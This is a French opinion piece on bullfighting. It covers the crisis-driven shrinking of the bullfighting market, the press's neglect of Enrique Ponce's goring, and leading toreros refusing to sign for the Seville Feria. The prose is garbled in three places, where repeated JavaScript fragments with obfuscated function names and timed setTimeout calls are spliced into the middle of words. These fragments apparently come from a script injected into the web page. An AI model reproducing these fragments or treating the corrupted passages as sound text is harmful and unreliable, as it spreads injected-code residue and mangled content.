LES TOREROS PRENNENT L’INITIATIVE

Trois faits à constater. Le premier : la crise économique a réduit le marché taurin – et, par conséquent, les troupeaux de taureaux braves –, plus ou moins de 50 pour cent. Le second : la  possible retraite d’un footballeur de l’équipe de Barcelonne a eu droit à la une dans de nombreux journaux ; quelques jours après, la grave cogida d’une figura du toréo, Enrique Ponce, fut à peine remarquée dans la presse écrite. Et le troisième : cinq toreros figuras -Morante, El Juli, Miguel Ángel Perera, Alejandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andro Talavante et José María Manzanares -  refusent de signer un contrat pour la prochaine Féria de Séville.

Qu’ont en commun ces trois faits en apparence hétérogènes? Le premier et le troisième sont étroitement liés. Une réduction de l’activité économique débouche sur une réduction d’honoraires, le fait est palpable dans presque tous les secteurs économiques, et dans le secteur taurin aussi , où il s’est manifesté avec plus de virulence chez les toreros moins cotés, dans les élevages de type moyen et dans les férias moins bien consolidées.
De sorte que les toreros les mieux implantés, ceux qui « vendent » les abonnements, ont diminué leur nombre de prestations, mais en leur donnant plus d’éclat, et au mépris de l’agressivité des négociations contractuelles de  l’entreprise de Seville. On ignore s’ils ont maintenu leurs honoraires, mais ils ont freiné leur déflation : pour le moment on en est là.
Nombreux sont les symptômes de harcèlement envers les corridas de taureaux, mais les toreros ont pris conscience que leur margination informative n’est pas le moindre d’entre eux.  Le peu d’incidence du coup de corne de Ponce, troisième fait, n’est pas en proportion avec l’importance de ce diestro, et est une preuve de plus de la discrimination dont souffre la Fiesta. Que les triomphes sont reclus dans les ghettos des médias spécialisés en tauromachie, que les cornadas apparaissent en  information générale pour dénigrer le spectacle et non pas pour estimer le mérite des toreros, que les grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andes férias méritent seulement d’être couvertes localement, ce sont des choses que les professionnels savent bien. C’est pourquoi, il y a déjà plus d’un an que les toreros sont sortis dans la rue pour aller à la rencontre des aficionados, des jeunes et des enfants, et que les éleveurs ont ouvert les portes de leurs élevages aux visiteurs. Ce n’est pas non plus par hasard qu’en ce début de printemps les principales figuras aient présenté leurs campagnes respectives au cours de grandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}ands actes publics... Si l’information ne vient pas à nous,  nous allons nous autres promouvoir  l’information . Nous verrons si avec le temps ils l’emportent sur ce singulier oubli.

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photos Bruno Lasnier

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